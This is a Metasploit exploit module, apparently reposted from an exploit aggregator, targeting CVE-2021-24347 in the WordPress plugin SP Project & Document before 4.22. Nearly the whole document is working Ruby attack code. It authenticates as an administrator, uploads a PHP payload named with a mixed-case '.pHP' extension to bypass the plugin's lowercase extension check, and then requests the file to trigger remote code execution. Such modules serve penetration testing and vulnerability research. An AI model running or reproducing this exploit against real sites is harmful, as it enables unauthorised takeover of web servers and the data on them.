Share
## https://sploitus.com/exploit?id=PACKETSTORM:163675
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress Plugin SP Project and Document - Authenticated Remote Code Execution',  
'Description' => %q{  
This module allows an attacker with a privileged Wordpress account to launch a reverse shell  
due to an arbitrary file upload vulnerability in Wordpress plugin SP Project & Document < 4.22.  
The security check only searches for lowercase file extensions such as `.php`, making it possible to upload `.pHP` files for instance.  
Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/sp-client-document-manager/<user_id>/<random_payload_name>.php`  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ron Jost', # Exploit-db  
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module  
],  
'References' =>  
[  
['EDB', '50115'],  
['CVE', '2021-24347']  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Wordpress SP Project & Document < 4.22', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => '2021-06-14',  
'Notes' =>  
{  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),  
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),  
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])  
]  
end  
  
def check  
return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?  
  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
if cookie  
check_plugin_version_from_readme('sp-client-document-manager', '4.22')  
else  
CheckCode::Detected('The admin credentials given are wrong !')  
end  
end  
  
def get_user_id(cookie)  
r = send_request_cgi({  
'method' => 'GET',  
'cookie' => cookie,  
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),  
'Referer' => full_uri('/wp-admin/users.php'),  
'vars_get' => {  
'page' => 'sp-client-document-manager-fileview'  
}  
})  
fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r  
user_id = r.body.to_s.match(%r{<option value='(\d+)'>#{datastore['USERNAME']}</option>})  
fail_with(Failure::UnexpectedReply, "Can't find user id on plugin page") unless user_id && user_id[1]  
user_id[1]  
end  
  
def exploit  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie  
user_id = get_user_id(cookie)  
payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.pHP"  
post_data = Rex::MIME::Message.new  
post_data.add_part(Rex::Text.rand_text_alpha(5..8), nil, nil, "form-data; name='cdm_upload_file_field'")  
post_data.add_part("/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=#{user_id}", nil, nil, "form-data; name='_wp_http_referer'")  
post_data.add_part('exploits', nil, nil, "form-data; name='dlg-upload-name'")  
post_data.add_part('', 'application/octet-stream', nil, "form-data; name='dlg-upload-file[]'; filename=''")  
post_data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name='dlg-upload-file[]'; filename='#{payload_name}'")  
post_data.add_part('', nil, nil, "form-data; name='dlg-upload-notes'")  
post_data.add_part('Upload', nil, nil, "form-data; name='sp-cdm-community-upload'")  
  
print_status("Uploading file \'#{payload_name}\' containing the payload...")  
  
r = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),  
'headers' => {  
'Origin' => full_uri(''),  
'Referer' => full_uri('wp-admin/admin.php')  
},  
'vars_get' => {  
'page' => 'sp-client-document-manager-fileview',  
'id' => user_id  
},  
'cookie' => cookie,  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
)  
  
fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 302  
register_files_for_cleanup(payload_name.downcase)  
  
print_status('Triggering the payload ...')  
  
send_request_cgi(  
'method' => 'GET',  
'cookie' => cookie,  
'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/sp-client-document-manager/#{user_id}/#{payload_name.downcase}")  
)  
end  
end